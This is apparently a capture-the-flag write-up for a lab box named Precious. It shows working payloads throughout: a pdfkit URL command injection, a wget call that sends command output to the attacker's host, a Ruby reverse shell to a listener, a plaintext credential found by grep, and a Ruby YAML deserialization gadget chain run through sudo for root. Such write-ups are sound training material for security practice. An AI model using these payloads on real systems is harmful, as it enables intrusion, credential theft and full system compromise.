Precious

User flag

Running an nmap scan reveals that there's a webserver and an ssh server running on the box.

$ nmap -sC -sV 10.10.11.189
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-17 17:47 CST
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.074s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.38 seconds

The website is a webpage to pdf converter, which takes a url as input, then outputs a pdf.

I first attempted to load a few URLs like http://google.com/, but all attempts ended with a message of "Cannot load remote URL!".

I then made a test index.html file and started a webserver on my machine with:

$ sudo python -m http.server 80

I then entered http://10.10.14.169/index.html on the website, which produced a pdf for download.

Examining the pdf metadata revealed that it was "Generated by pdfkit v0.8.6". I then searched the web for the software and found an exploit at https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795 .

I tested the exploit using the following url:

http://10.10.14.169/?name=#{'%20`sleep 10`'}

This time it took about 10 seconds longer to load, so it's vulnerable! I then tried a new command to see what user was running the service:

http://10.10.14.169/?name=#{'%20`wget 10.10.14.169/$(whoami)`'}

Then this showed up in the log for the python webserver:

... "GET /ruby HTTP/1.1" 404 -

So the user is ruby. I figured ruby was probably installed on the system, so started a netcat listener on port 1234 and sent a ruby reverse shell:

http://10.10.14.169/?name=#{'%20`ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.10.14.169","1234");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'`'}

After poking around for a bit, I found that there was another user on the system, henry, and the user.txt flag was in his home directory. I then ran a recursive grep and found something that looks an awful lot like credentials:

$ grep -r henry /home
...
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
...

I was then able to ssh in as henry, and get the user flag.

Root flag

The first thing to check for privilege escalation is to see what commands I can run through sudo:

$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Looks like I can run one command, so let's see what's inside update_dependencies.rb:

$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

And someone's using YAML.load() here. This function is vulnerable to an attack using deserialization. Let's then make a payload to get the flag:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "cat /root/root.txt"
         method_id: :resolve

Then run the one sudo command we can use, and we've got all the flags!